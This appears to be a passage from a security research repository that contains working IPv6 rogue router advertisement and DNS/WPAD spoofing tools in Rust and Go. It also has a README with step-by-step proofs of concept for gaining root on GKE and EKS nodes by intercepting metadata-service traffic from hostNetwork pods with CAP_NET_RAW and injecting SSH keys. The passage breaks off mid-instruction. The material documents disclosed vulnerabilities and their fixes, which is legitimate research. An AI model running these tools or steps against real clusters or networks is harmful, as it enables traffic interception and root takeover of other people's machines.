IcmpSocketBuffer, SocketSet}; 19 | use smoltcp::socket::{TcpSocket, TcpSocketBuffer}; 20 | use smoltcp::time::{Duration, Instant}; 21 | use smoltcp::wire::{EthernetAddress, IpAddress, IpCidr, Ipv6Address}; 22 | use smoltcp::wire::{ 23 | Icmpv6Packet, Icmpv6Repr, NdiscPrefixInfoFlags, NdiscPrefixInformation, NdiscRepr, 24 | NdiscRouterFlags, 25 | }; 26 | use std::cmp::min; 27 | use std::collections::BTreeMap; 28 | use std::env; 29 | use std::fmt::Write as fmtwrite; 30 | use std::io; 31 | use std::io::Write; 32 | use std::os::unix::io::{AsRawFd, RawFd}; 33 | use std::process; 34 | use std::str; 35 | 36 | fn print_usage(opts: Options) -> ! { 37 | let brief = format!("Usage: {} [OPTION]...", env::args().nth(0).unwrap()); 38 | print!("{}", opts.usage(&brief)); 39 | process::exit(1) 40 | } 41 | 42 | fn main() { 43 | setup_logging(""); 44 | 45 | let mut opts = Options::new(); 46 | opts.optflag("h", "help", "print this help menu"); 47 | opts.reqopt("i", "interface", "the interface to talk on", "INTERFACE"); 48 | 49 | let matches = match opts.parse(env::args().skip(1)) { 50 | Ok(m) => { 51 | if m.opt_present("h") { 52 | print_usage(opts) 53 | } 54 | m 55 | } 56 | Err(f) => { 57 | println!("{}", f); 58 | print_usage(opts) 59 | } 60 | }; 61 | 62 | let interface = matches.opt_str("i").unwrap(); 63 | let device = RawSocket2::new(&interface).unwrap(); 64 | let fd = device.as_raw_fd(); 65 | 66 | let neighbor_cache = NeighborCache::new(BTreeMap::new()); 67 | 68 | let tcp1_rx_buffer = TcpSocketBuffer::new(vec![0; 1024]); 69 | let tcp1_tx_buffer = TcpSocketBuffer::new(vec![0; 1024]); 70 | let tcp1_socket = TcpSocket::new(tcp1_rx_buffer, tcp1_tx_buffer); 71 | 72 | let icmp_rx_buffer = IcmpSocketBuffer::new(vec![IcmpPacketMetadata::EMPTY], vec![0; 256]); 73 | let icmp_tx_buffer = IcmpSocketBuffer::new(vec![IcmpPacketMetadata::EMPTY], vec![0; 256]); 74 | let mut icmp_socket = IcmpSocket::new(icmp_rx_buffer, icmp_tx_buffer); 75 | // hop limit must be 255 for all the Neighbor discovery packets, see https://tools.ietf.org/html/rfc4861 76 | icmp_socket.set_hop_limit(Some(255)); 77 | 78 | //let ethernet_addr = EthernetAddress([0x02, 0x00, 0x00, 0x00, 0x00, 0x01]); 79 | // use the local mac as we don't have CAP_NET_ADMIN to make the interface promiscuous 80 | let mac = mac_address_by_name(&interface).unwrap().unwrap().bytes(); 81 | let ethernet_addr = EthernetAddress(mac); 82 | let ipv6_addr = IpAddress::v6(0xfe80, 0, 0, 0, 0, 0, 0, 1); 83 | let ipv6_net = Ipv6Address::new(0x2001, 0xdb8, 0, 0, 0, 0, 0, 0); 84 | let ipv6_all = IpAddress::v6(0xff02, 0, 0, 0, 0, 0, 0, 1); 85 | 86 | let ra_interval = Duration::from_secs(10); 87 | 88 | let ip_addrs = [ 89 | //IpCidr::new(IpAddress::v4(192, 168, 69, 1), 24), 90 | IpCidr::new(ipv6_addr, 64), 91 | IpCidr::new(IpAddress::v6(0x2001, 0xdb8, 0, 0, 0, 0, 0, 1), 64), 92 | ]; 93 | let mut iface = EthernetInterfaceBuilder::new(device) 94 | .ethernet_addr(ethernet_addr) 95 | .neighbor_cache(neighbor_cache) 96 | .ip_addrs(ip_addrs) 97 | .finalize(); 98 | 99 | let mut sockets = SocketSet::new(vec![]); 100 | let tcp1_handle = sockets.add(tcp1_socket); 101 | let icmp_handle = sockets.add(icmp_socket); 102 | 103 | let mut send_at = Instant::from_millis(0); 104 | 105 | loop { 106 | let timestamp = Instant::now(); 107 | let mut should_poll = false; 108 | match iface.poll(&mut sockets, timestamp) { 109 | Ok(_) => {} 110 | Err(e) => { 111 | debug!("poll error: {}", e); 112 | } 113 | } 114 | 115 | // tcp:80: http ok 116 | { 117 | let mut socket = sockets.get::(tcp1_handle); 118 | if !socket.is_open() { 119 | socket.listen(80).unwrap() 120 | } 121 | 122 | if socket.may_recv() { 123 | //consume the request 124 | debug!("tcp:80 recv"); 125 | let data = socket 126 | .recv(|data| (data.len(), str::from_utf8(data).unwrap_or("(invalid utf8)"))) 127 | .unwrap(); 128 | print!("{}", data); 129 | if data.contains("\r\n\r\n") && socket.may_send() { 130 | debug!("tcp:80 send"); 131 | write!( 132 | socket, 133 | "HTTP/1.0 200 OK\r\nConnection: close\r\nContent-Length: 3\r\n\r\nok\n" 134 | ) 135 | .unwrap(); 136 | debug!("tcp:80 close"); 137 | socket.close(); 138 | should_poll = true; 139 | } 140 | } else if socket.may_send() { 141 | debug!("tcp:80 close2"); 142 | socket.close(); 143 | should_poll = true; 144 | } 145 | } 146 | 147 | // icmpv6 router advertisement 148 | { 149 | let mut socket = sockets.get::(icmp_handle); 150 | if !socket.is_open() { 151 | socket.bind(IcmpEndpoint::Ident(0x2Ab)).unwrap(); 152 | send_at = timestamp; 153 | } 154 | 155 | if socket.can_send() && send_at <= timestamp { 156 | let icmp_repr = Icmpv6Repr::Ndisc(NdiscRepr::RouterAdvert { 157 | hop_limit: 64, 158 | flags: NdiscRouterFlags::empty(), 159 | router_lifetime: Duration::from_secs(30), 160 | reachable_time: Duration::from_millis(0), 161 | retrans_time: Duration::from_millis(0), 162 | lladdr: Some(ethernet_addr), 163 | mtu: None, 164 | prefix_info: Some(NdiscPrefixInformation { 165 | prefix_len: 64, 166 | flags: NdiscPrefixInfoFlags::ADDRCONF, 167 | valid_lifetime: Duration::from_secs(60), 168 | preferred_lifetime: Duration::from_secs(30), 169 | prefix: ipv6_net, 170 | }), 171 | }); 172 | 173 | let icmp_payload = socket.send(icmp_repr.buffer_len(), ipv6_all).unwrap(); 174 | 175 | let mut icmp_packet = Icmpv6Packet::new_unchecked(icmp_payload); 176 | 177 | icmp_repr.emit( 178 | &ipv6_addr, 179 | &ipv6_all, 180 | &mut icmp_packet, 181 | &ChecksumCapabilities::default(), 182 | ); 183 | 184 | send_at += ra_interval; 185 | 186 | should_poll = true; 187 | } 188 | } 189 | 190 | if should_poll { 191 | // we need to call poll() to send whta is in the Tx buffer, 192 | // but phy_wait(..,poll_at()) make us wait. 193 | // Not sure it's a bug or me just not using it right 194 | continue; 195 | } 196 | 197 | let max_wait; 198 | match iface.poll_at(&sockets, timestamp) { 199 | Some(pool_at) => max_wait = min(send_at, pool_at) - timestamp, 200 | _ => max_wait = send_at - timestamp, 201 | } 202 | phy_wait(fd, Some(max_wait)).expect("wait error") 203 | } 204 | } 205 | 206 | pub fn setup_logging_with_clock(filter: &str, since_startup: F) 207 | where 208 | F: Fn() -> Instant + Send + Sync + 'static, 209 | { 210 | Builder::new() 211 | .format(move |buf, record| { 212 | let elapsed = since_startup(); 213 | let timestamp = format!("[{}]", elapsed); 214 | if record.target().starts_with("smoltcp::") { 215 | writeln!( 216 | buf, 217 | "\x1b[0m{} ({}): {}\x1b[0m", 218 | timestamp, 219 | record.target().replace("smoltcp::", ""), 220 | record.args() 221 | ) 222 | } else if record.level() == Level::Trace { 223 | let message = format!("{}", record.args()); 224 | writeln!( 225 | buf, 226 | "\x1b[37m{} {}\x1b[0m", 227 | timestamp, 228 | message.replace("\n", "\n ") 229 | ) 230 | } else { 231 | writeln!( 232 | buf, 233 | "\x1b[32m{} ({}): {}\x1b[0m", 234 | timestamp, 235 | record.target(), 236 | record.args() 237 | ) 238 | } 239 | }) 240 | .filter(None, LevelFilter::Trace) 241 | .parse(filter) 242 | .parse(&env::var("RUST_LOG").unwrap_or("".to_owned())) 243 | .init(); 244 | } 245 | 246 | pub fn setup_logging(filter: &str) { 247 | setup_logging_with_clock(filter, move || Instant::now()) 248 | } 249 | 250 | // we just want to change RawSocket capabilities() to disable Rx checksums 251 | // This is needed because on Linux local packets don't always have valid checksums 252 | // to improve performance, and when using raw sockets this fact isn't hidden from us 253 | // https://github.com/smoltcp-rs/smoltcp/issues/328 254 | #[derive(Debug)] 255 | pub struct RawSocket2 { 256 | inner: RawSocket, 257 | } 258 | 259 | impl AsRawFd for RawSocket2 { 260 | fn as_raw_fd(&self) -> RawFd { 261 | self.inner.as_raw_fd() 262 | } 263 | } 264 | 265 | impl RawSocket2 { 266 | pub fn new(name: &str) -> io::Result { 267 | Ok(RawSocket2 { 268 | inner: RawSocket::new(name)?, 269 | }) 270 | } 271 | } 272 | 273 | impl<'a> Device<'a> for RawSocket2 { 274 | type RxToken = >::RxToken; 275 | type TxToken = >::TxToken; 276 | 277 | fn capabilities(&self) -> DeviceCapabilities { 278 | let mut checksum_caps = ChecksumCapabilities::default(); 279 | checksum_caps.ipv4 = Checksum::Tx; 280 | checksum_caps.udp = Checksum::Tx; 281 | checksum_caps.tcp = Checksum::Tx; 282 | checksum_caps.icmpv4 = Checksum::Tx; 283 | checksum_caps.icmpv6 = Checksum::Tx; 284 | let mut c = self.inner.capabilities(); 285 | c.checksum = checksum_caps; 286 | c 287 | } 288 | 289 | fn receive(&'a mut self) -> Option<(Self::RxToken, Self::TxToken)> { 290 | self.inner.receive() 291 | } 292 | 293 | fn transmit(&'a mut self) -> Option { 294 | self.inner.transmit() 295 | } 296 | } 297 | -------------------------------------------------------------------------------- /IPv6_RA_MITM/wsl2/rafun.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "flag" 7 | "fmt" 8 | "log" 9 | "net" 10 | "net/http" 11 | "os" 12 | "os/signal" 13 | "strings" 14 | "sync" 15 | "time" 16 | 17 | "github.com/mdlayher/ndp" 18 | "github.com/miekg/dns" 19 | "golang.org/x/sync/errgroup" 20 | ) 21 | 22 | var ( 23 | ifiFlag = flag.String("i", "", "network interface to use for NDP communication (default: automatic)") 24 | addrFlag = flag.String("a", string(ndp.LinkLocal), "address to use for NDP communication (unspecified, linklocal, uniquelocal, global, or a literal IPv6 address)") 25 | dnsAaddr = flag.String("dnsAaddr", "192.0.2.1", "A dns response") 26 | dnsAAAAaddr = flag.String("dnsAAAAaddr", "2001:db8::1", "AAAA dns response") 27 | raPrefix = flag.String("raPrefix", "2001:db8::", "Prefix to advertise in the router advertisements") 28 | raDNSaddr = flag.String("raDNSaddr", "2001:db8::1", "Address to advertise as DNS server in the router advertisements") 29 | wpaddat = flag.String("wpaddat", "", "The content of the wpad.dat file ('SOCKS ip')") 30 | ll = log.New(os.Stderr, "rafun> ", 0) 31 | ) 32 | 33 | func main() { 34 | flag.Parse() 35 | 36 | ifi, err := findInterface(*ifiFlag) 37 | if err != nil { 38 | ll.Fatalf("failed to get interface: %v", err) 39 | } 40 | 41 | addr := ndp.Addr(*addrFlag) 42 | c, ip, err := ndp.Dial(ifi, addr) 43 | if err != nil { 44 | ll.Fatalf("failed to dial NDP connection: %v", err) 45 | } 46 | defer c.Close() 47 | 48 | sigC := make(chan os.Signal, 1) 49 | signal.Notify(sigC, os.Interrupt) 50 | 51 | ctx, cancel := context.WithCancel(context.Background()) 52 | var wg sync.WaitGroup 53 | 54 | // Router Advertisements 55 | go func() { 56 | wg.Add(1) 57 | defer wg.Done() 58 | ll.Printf("RA interface: %s, link-layer address: %s, IPv6 address: %s, IPv6 DNS address: %s", 59 | ifi.Name, ifi.HardwareAddr, ip, *raDNSaddr) 60 | 61 | if err := doRA(ctx, c, ifi.HardwareAddr, ll); err != nil { 62 | // Context cancel means a signal was sent, so no need to log an error. 63 | if err != context.Canceled { 64 | ll.Fatalf("Router advertisement failed: %s\n", err.Error()) 65 | } 66 | } 67 | }() 68 | 69 | // DNS server 70 | srvDNS := &dns.Server{Addr: ":53", Net: "udp"} 71 | srvDNS.Handler = &dnsHandler{} 72 | go func() { 73 | wg.Add(1) 74 | defer wg.Done() 75 | ll.Print("DNS A response: ", *dnsAaddr) 76 | ll.Print("DNS AAAA response: ", *dnsAAAAaddr) 77 | if err := srvDNS.ListenAndServe(); err != nil { 78 | ll.Fatalf("DNS server failed: %s\n", err.Error()) 79 | } 80 | }() 81 | 82 | // HTTP server 83 | http.HandleFunc("/", httpHandleFunc) 84 | srvHTTP := &http.Server{Addr: ":80"} 85 | go func() { 86 | wg.Add(1) 87 | defer wg.Done() 88 | ll.Printf("WPAD config: '%s'\n", *wpaddat) 89 | if err := srvHTTP.ListenAndServe(); err != nil { 90 | ll.Fatalf("HTTP server failed: %s\n", err.Error()) 91 | } 92 | }() 93 | 94 | <-sigC 95 | srvDNS.Shutdown() 96 | srvHTTP.Shutdown(nil) 97 | cancel() 98 | 99 | wg.Wait() 100 | ll.Print("Shutdown done") 101 | } 102 | 103 | func doRA(ctx context.Context, c *ndp.Conn, addr net.HardwareAddr, ll *log.Logger) error { 104 | // This tool is mostly meant for testing so hardcode a bunch of values. 105 | m := &ndp.RouterAdvertisement{ 106 | CurrentHopLimit: 64, 107 | //ManagedConfiguration: , 108 | //OtherConfiguration: , 109 | RouterSelectionPreference: ndp.High, 110 | RouterLifetime: 1800 * time.Second, 111 | //ReachableTime: , 112 | //RetransmitTimer: , 113 | Options: []ndp.Option{ 114 | &ndp.LinkLayerAddress{ 115 | Direction: ndp.Source, 116 | Addr: addr, 117 | }, 118 | //ndp.NewMTU(1500), 119 | &ndp.PrefixInformation{ 120 | PrefixLength: 64, 121 | OnLink: true, 122 | AutonomousAddressConfiguration: true, 123 | ValidLifetime: 1810 * time.Second, 124 | PreferredLifetime: 1800 * time.Second, 125 | Prefix: net.ParseIP(*raPrefix), 126 | }, 127 | &ndp.RouteInformation{ 128 | // :: - 7fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff 129 | Prefix: net.ParseIP("::"), 130 | PrefixLength: 1, 131 | Preference: ndp.High, 132 | RouteLifetime: 1800 * time.Second, 133 | }, 134 | &ndp.RouteInformation{ 135 | // 8000:: - ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff 136 | Prefix: net.ParseIP("8000::"), 137 | PrefixLength: 1, 138 | Preference: ndp.High, 139 | RouteLifetime: 1800 * time.Second, 140 | }, 141 | /* 142 | &ndp.RouteInformation{ 143 | // ::ffff:0.0.0.0 - ::ffff:127.255.255.255 144 | Prefix: net.ParseIP("::ffff:0000:0000"), 145 | PrefixLength: 97, 146 | Preference: ndp.High, 147 | RouteLifetime: 1800 * time.Second, 148 | }, 149 | &ndp.RouteInformation{ 150 | // ::ffff:128.0.0.0 - ::ffff:255.255.255.255 151 | Prefix: net.ParseIP("::ffff:8000:0000"), 152 | PrefixLength: 97, 153 | Preference: ndp.High, 154 | RouteLifetime: 1800 * time.Second, 155 | }, 156 | */ 157 | &ndp.RecursiveDNSServer{ 158 | Lifetime: 1800 * time.Second, 159 | Servers: []net.IP{ 160 | net.ParseIP(*raDNSaddr), 161 | //net.ParseIP("2606:4700:4700::1111"), 162 | //net.ParseIP("2606:4700:4700::1001"), 163 | }, 164 | }, 165 | /* 166 | &ndp.RawOption{ 167 | Type: 7, 168 | Length: 1, 169 | Value: []byte{0, 0, 0, 0, 0, 0, 0, 10}, 170 | }, 171 | */ 172 | }, 173 | } 174 | 175 | // Expect any router solicitation message. 176 | check := func(m ndp.Message) bool { 177 | _, ok := m.(*ndp.RouterSolicitation) 178 | return ok 179 | } 180 | 181 | // Trigger an RA whenever an RS is received. 182 | rsC := make(chan struct{}) 183 | recv := func(ll *log.Logger, msg ndp.Message, from net.IP) { 184 | //printMessage(ll, m, from) 185 | rsC <- struct{}{} 186 | } 187 | 188 | // We are now a "router". 189 | if err := c.JoinGroup(net.IPv6linklocalallrouters); err != nil { 190 | return fmt.Errorf("failed to join multicast group: %v", err) 191 | } 192 | 193 | var eg errgroup.Group 194 | eg.Go(func() error { 195 | // Send messages until cancelation or error. 196 | for { 197 | if err := c.WriteTo(m, nil, net.IPv6linklocalallnodes); err != nil { 198 | return fmt.Errorf("failed to send router advertisement: %v", err) 199 | } 200 | 201 | select { 202 | case <-ctx.Done(): 203 | return nil 204 | // Trigger RA at regular intervals or on demand. 205 | case <-time.After(10 * time.Second): 206 | case <-rsC: 207 | } 208 | } 209 | }) 210 | 211 | if err := receiveLoop(ctx, c, ll, check, recv); err != nil { 212 | return fmt.Errorf("failed to receive router solicitations: %v", err) 213 | } 214 | 215 | return eg.Wait() 216 | } 217 | 218 | func receiveLoop( 219 | ctx context.Context, 220 | c *ndp.Conn, 221 | ll *log.Logger, 222 | check func(m ndp.Message) bool, 223 | recv func(ll *log.Logger, msg ndp.Message, from net.IP), 224 | ) error { 225 | var count int 226 | for { 227 | msg, from, err := receive(ctx, c, check) 228 | switch err { 229 | case context.Canceled: 230 | ll.Printf("received %d message(s)", count) 231 | return nil 232 | case errRetry: 233 | continue 234 | case nil: 235 | count++ 236 | recv(ll, msg, from) 237 | default: 238 | return err 239 | } 240 | } 241 | } 242 | 243 | var errRetry = errors.New("retry") 244 | 245 | func receive(ctx context.Context, c *ndp.Conn, check func(m ndp.Message) bool) (ndp.Message, net.IP, error) { 246 | if err := c.SetReadDeadline(time.Now().Add(1 * time.Second)); err != nil { 247 | return nil, nil, fmt.Errorf("failed to set deadline: %v", err) 248 | } 249 | 250 | msg, _, from, err := c.ReadFrom() 251 | if err == nil { 252 | if check != nil && !check(msg) { 253 | // Read a message, but it isn't the one we want. Keep trying. 254 | return nil, nil, errRetry 255 | } 256 | 257 | // Got a message that passed the check, if check was not nil. 258 | return msg, from, nil 259 | } 260 | 261 | // Was the context canceled already? 262 | select { 263 | case <-ctx.Done(): 264 | return nil, nil, ctx.Err() 265 | default: 266 | } 267 | 268 | // Was the error caused by a read timeout, and should the loop continue? 269 | if nerr, ok := err.(net.Error); ok && nerr.Timeout() { 270 | return nil, nil, errRetry 271 | } 272 | 273 | return nil, nil, fmt.Errorf("failed to read message: %v", err) 274 | } 275 | 276 | func findInterface(name string) (*net.Interface, error) { 277 | if name != "" { 278 | ifi, err := net.InterfaceByName(name) 279 | if err != nil { 280 | return nil, fmt.Errorf("could not find interface %q: %v", name, err) 281 | } 282 | 283 | return ifi, nil 284 | } 285 | 286 | ifis, err := net.Interfaces() 287 | if err != nil { 288 | return nil, err 289 | } 290 | 291 | for _, ifi := range ifis { 292 | // Is the interface up and not a loopback? 293 | if ifi.Flags&net.FlagUp != 1 || ifi.Flags&net.FlagLoopback != 0 { 294 | continue 295 | } 296 | 297 | // Does the interface have an IPv6 address assigned? 298 | addrs, err := ifi.Addrs() 299 | if err != nil { 300 | return nil, err 301 | } 302 | 303 | for _, a := range addrs { 304 | ipNet, ok := a.(*net.IPNet) 305 | if !ok { 306 | continue 307 | } 308 | 309 | // Is this address an IPv6 address? 310 | if ipNet.IP.To16() != nil && ipNet.IP.To4() == nil { 311 | return &ifi, nil 312 | } 313 | } 314 | } 315 | 316 | return nil, errors.New("could not find a usable IPv6-enabled interface") 317 | } 318 | 319 | func httpHandleFunc(w http.ResponseWriter, r *http.Request) { 320 | ll.Printf("HTTP Request: %s %s %s\n", r.RemoteAddr, r.Method, r.URL) 321 | switch r.URL.Path { 322 | case "/ncsi.txt": 323 | // http://www.msftncsi.com/ncsi.txt 324 | fmt.Fprintf(w, "Microsoft NCSI") 325 | case "/connecttest.txt": 326 | // http://www.msftconnecttest.com/connecttest.txt 327 | fmt.Fprintf(w, "Microsoft Connect Test") 328 | case "/success.txt": 329 | // http://detectportal.firefox.com/success.txt 330 | fmt.Fprintf(w, "success\n") 331 | case "/wpad.dat": 332 | if *wpaddat != "" { 333 | w.Header().Add("content-type", "application/x-ns-proxy-autoconfig") 334 | fmt.Fprintf(w, `function FindProxyForURL(url, host) { return "%s"; }`, *wpaddat) 335 | } 336 | default: 337 | fmt.Fprintf(w, "ok") 338 | } 339 | } 340 | 341 | type dnsHandler struct{} 342 | 343 | func (*dnsHandler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) { 344 | msg := dns.Msg{} 345 | msg.SetReply(r) 346 | //msg.Authoritative = true 347 | msg.RecursionAvailable = true 348 | for _, q := range r.Question { 349 | ll.Println("DNS Query: ", q.String()) 350 | if strings.HasPrefix(q.Name, "wpad") && *wpaddat == "" { 351 | // do not respond to wpad requests if not configured 352 | continue 353 | } 354 | switch q.Qtype { 355 | case dns.TypeA: 356 | if q.Name == "ipv6.msftncsi.com" { 357 | // this domain doesn't have an A record 358 | continue 359 | } 360 | ip4 := *dnsAaddr 361 | if q.Name == "dns.msftncsi.com" { 362 | ip4 = "131.107.255.255" 363 | } 364 | msg.Answer = append(msg.Answer, &dns.A{ 365 | Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 60}, 366 | A: net.ParseIP(ip4), 367 | }) 368 | case dns.TypeAAAA: 369 | ip6 := *dnsAAAAaddr 370 | if q.Name == "dns.msftncsi.com" { 371 | ip6 = "fd3e:4f5a:5b81::1" 372 | } 373 | msg.Answer = append(msg.Answer, &dns.AAAA{ 374 | Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: 60}, 375 | AAAA: net.ParseIP(ip6), 376 | }) 377 | } 378 | } 379 | w.WriteMsg(&msg) 380 | } 381 | -------------------------------------------------------------------------------- /Metadata_MITM_root_EKS_GKE/README.md: -------------------------------------------------------------------------------- 1 | # Metadata service MITM allows root privilege escalation (EKS / GKE) 2 | 3 | After finding that having containers with `CAP_NET_RAW` could allow you to launch [Host MITM attack via IPv6 rogue router advertisements](../IPv6_RA_MITM/README.md), 4 | on top of classic ARP spoofing when using bridge CNI, i went ahead and looked for more fun network attacks. 5 | 6 | `CAP_NET_RAW` Linux capability allows you open raw sockets to listen on all traffic in the network namespace (tcpdump), but also to send any type of packets. 7 | `CAP_NET_RAW` is enabled by default in Docker/Containerd, but not in [cri-o since 1.18](https://github.com/cri-o/cri-o/commit/63b9f4ec986da267a18f73d4b1ef13282d103e00) 8 | only to allow `ping` to work. It's a bad default that should be replaced by the usage of the `net.ipv4.ping_group_range` sysctls. 9 | 10 | Traffic is more and more secured using TLS, but on many cloud providers you have a metadata service accessible over HTTP at http://169.254.169.254, 11 | and in the metadata provided you can sometimes find the user ssh public key. 12 | AWS, GCP and maybe others allow to connect to an instance using ssh keys not present at instance boot, 13 | meaning they dynamically retrieve new ssh keys, over HTTP, at runtime, so a MITM allow us to insert our ssh key and log as a sudoer or root user. 14 | 15 | By using `hostNetwork=true` + `CAP_NET_RAW`, it was possible to gain root privilege on the node on both EKS and GKE clusters. 16 | 17 | Another way to get MITM is to use [K8S CVE-2020-8554](../K8S_MITM_LoadBalancer_ExternalIPs/README.md). 18 | 19 | In my testing, Azure is retrieving the ssh keys securely, and `cloud-init` Linux package only retrieves ssh keys once, early during boot. 20 | 21 | ## Google GKE 22 | 23 | An attacker gaining access to a `hostNetwork=true` container with `CAP_NET_RAW` capability can listen to all the traffic going through the host and inject arbitrary traffic, 24 | allowing to tamper with most unencrypted traffic (HTTP, DNS, DHCP, ...), and disrupt encrypted traffic. 25 | In GKE the host queries the metadata service at http://169.254.169.254 to get information, including the authorized ssh keys. 26 | By manipulating the metadata service responses, injecting our own ssh key, we gain root privilege on the host. 27 | 28 | 1. Create a GKE cluster 29 | 30 | 2. Create a `hostNetwork=true` pod 31 | 32 | ``` 33 | kubectl apply -f - <<'EOF' 34 | apiVersion: v1 35 | kind: Pod 36 | metadata: 37 | name: ubuntu-node 38 | spec: 39 | hostNetwork: true 40 | containers: 41 | - name: ubuntu 42 | image: ubuntu:latest 43 | command: [ "/bin/sleep", "inf" ] 44 | EOF 45 | ``` 46 | 47 | 3. Copy [metadatascapy.py script](GKE/metadatascapy.py)) 48 | 49 | ``` 50 | kubectl cp metadatascapy.py ubuntu-node:/metadatascapy.py 51 | ``` 52 | 53 | 4. Connect to the container 54 | 55 | ``` 56 | kubectl exec -ti ubuntu-node -- /bin/bash 57 | ``` 58 | (the next commands are in the container shell) 59 | 60 | 5. Install the needed packages 61 | 62 | ``` 63 | apt update && apt install -y python3-scapy openssh-client 64 | ``` 65 | 66 | 6. Generate an ssh key (this is the key that we are going to inject and use to ssh into the host) 67 | 68 | ``` 69 | ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N "" 70 | ``` 71 | 72 | 7. Launch the script, wait up to 2min, enjoy 73 | 74 | ``` 75 | python3 /metadatascapy.py 76 | ``` 77 | (If you see a kubeconfig and some certificates printed, it worked) 78 | 79 | To hijack a TCP connection like an HTTP request you need to have the correct TCP sequence numbers, and to respond faster than the server. 80 | As Google is using HTTP long pooling to wait for new SSH keys (1min+), and we can listen to all traffic, it's pretty easy using Scapy to forge TCP packets. 81 | 82 | There are 2 ways to inject traffic so it can be received by the same host: 83 | 1. use a L2 raw socket and 'lo' interface 84 | 2. use a L3 raw socket 85 | 86 | In the past, using L2 socket on lo interface was not working so [Scapy FAQ recommend to use L3](https://scapy.readthedocs.io/en/latest/troubleshooting.html#i-can-t-ping-127-0-0-1-scapy-does-not-work-with-127-0-0-1-or-on-the-loopback-interface). 87 | Also GKE nodes were already using `net.ipv4.conf.all.rp_filter = 1` sysctl effectively blocking L2. 88 | To block L3 Google team just added the following iptables rules on GKE nodes 89 | ``` 90 | iptables -w -t mangle -I OUTPUT -s 169.254.169.254 -j DROP 91 | ``` 92 | 93 | This iptables rule was added in 94 | - 1.19.2-gke.2400 95 | - 1.18.9-gke.2500 96 | - 1.17.12-gke.2500 97 | - 1.16.15-gke.2600 98 | 99 | This only fixes GKE, if you are deploying K8S yourself on GCP instances you are likely still vulnerable. 100 | 101 | ## AWS EKS 102 | 103 | AWS allows to connect to Linux instances via SSH using a feature called "EC2 Instance Connect" 104 | To do this, the AWS AMI have the following line in the SSH configuration (sshd_config): 105 | ``` 106 | AuthorizedKeysCommand /opt/aws/bin/eic_run_authorized_keys %u %f 107 | ``` 108 | 109 | The [eic_curl_authorized_keys script (before fix)](https://github.com/aws/aws-ec2-instance-connect-config/blob/47de50509ed43f0c294513841739afb059d5900e/src/bin/eic_curl_authorized_keys) queries the metadata service at http://169.254.169.254 110 | One of the responses is a signed list of ssh keys with the instance name and an expiration timestamp like this: 111 | ``` 112 | #Timestamp=2147483647 113 | #Instance=realinstancename 114 | #Caller=wedontcare 115 | #Request=wedontcare 116 | ssh-rsa ... 117 | sha256/rsa signature in base64 118 | ``` 119 | 120 | We cannot replay those responses on a different instance: 121 | - the instance name is retrieved over HTTP but it is verified 122 | - and we don't have the private key matching this public key 123 | 124 | Now if we go back to the beginning of eic_curl_authorized_keys, here is what happens: 125 | 126 | 1. Define the address of the metadata service as http://169.254.169.254/ 127 | 128 | 2. PUT /latest/api/token 129 | 130 | -> get a metadata v2 token 131 | 132 | 3. GET /latest/meta-data/instance-id/ 133 | 134 | -> get the instance-id, then verify it against /sys/devices/virtual/dmi/id/board_asset_tag 135 | 136 | 4. HEAD /latest/meta-data/managed-ssh-keys/active-keys/USER/ 137 | 138 | 5. GET /latest/meta-data/placement/availability-zone/ 139 | 140 | -> from the availability zone name we extract the region name (us-east-2) 141 | 142 | 6. GET /latest/meta-data/services/domain/ 143 | 144 | -> in my region this is amazonaws.com 145 | 146 | 7. With 5 and 6 we deduce the expected CN of the signer certificate 147 | 148 | expected_signer="managed-ssh-signer.${region}.${domain}" 149 | 150 | 8. GET /latest/meta-data/managed-ssh-keys/signer-cert/ 151 | 152 | -> the signer cert + chain 153 | 154 | 9. GET /latest/meta-data/managed-ssh-keys/signer-ocsp/ 155 | 156 | -> for each cert the SHA1 fingerprint of it 157 | 158 | 10. GET /latest/meta-data/managed-ssh-keys/signer-ocsp/SHA1 159 | 160 | -> retrieve the actual OCSP responses 161 | 162 | 11. GET /latest/meta-data/managed-ssh-keys/active-keys/USER/ 163 | 164 | -> get the signed ssh keys list 165 | 166 | 12. pass all of that to [eic_parse_authorized_keys](https://github.com/aws/aws-ec2-instance-connect-config/blob/47de50509ed43f0c294513841739afb059d5900e/src/bin/eic_parse_authorized_keys) 167 | 168 | -> this script checks that the certificates match expected_signer, is trusted and with valid OCSP responses. 169 | 170 | If you read carefully, an attacker able to perform a MITM between the eic_curl_authorized_keys script and the metadata service 171 | can inject responses for 4/6/8/9/10/11 and then SSH as root on the instance 172 | 173 | To make it short: 174 | - managed-ssh-signer.us-east-2.amazonaws.com signed by Amazon is trusted 175 | - managed-ssh-signer.us-east-2.champetier.net signed by Let's Encrypt can also be trusted with the right responses 176 | 177 | On AWS EKS, an attacker able to get arbitrary code execution as root in a hostNetwork pod 178 | can use the `CAP_NET_RAW` capability to monitor and inject packets on the instance. 179 | 180 | This POC shows how easy we can go from hostNetwork to the node. 181 | It uses Golang (gopacket) as scapy was often slower to inject packets than the metadata service to respond, making the attack unreliable. 182 | 183 | 1. Files: 184 | 1. [cert0.pem](EKS/cert0.pem): CN=managed-ssh-signer.us-east-2.champetier.net, expired Jan 10 2021 185 | 2. [privkey.pem](EKS/privkey.pem): the private key of the cert 186 | 3. [cert1.pem](EKS/cert1.pem): CN=Let's Encrypt Authority X3 187 | 4. [cert2.pem](EKS/cert2.pem): CN=DST Root CA X3 188 | 5. [go.mod](EKS/go.mod), [go.sum](EKS/go.sum), [mitmmeta.go](EKS/mitmmeta.go): The Golang POC 189 | 190 | 2. Deploy an EKS cluster in us-east-2 region, configure kubectl 191 | 192 | We could target other regions but the provided cert0.pem is for us-east-2 193 | In my tests AMI was AL2_x86_64 / 1.17.11-20201007 194 | 195 | 3. Launch a hostNetwork pod 196 | 197 | ``` 198 | kubectl apply -f - <<'EOF' 199 | apiVersion: v1 200 | kind: Pod 201 | metadata: 202 | name: ubuntu-node 203 | spec: 204 | hostNetwork: true 205 | containers: 206 | - name: ubuntu 207 | image: ubuntu:latest 208 | command: [ "/bin/sleep", "inf" ] 209 | EOF 210 | ``` 211 | 212 | 4. Copy the 7 files in the container 213 | 214 | ``` 215 | kubectl cp 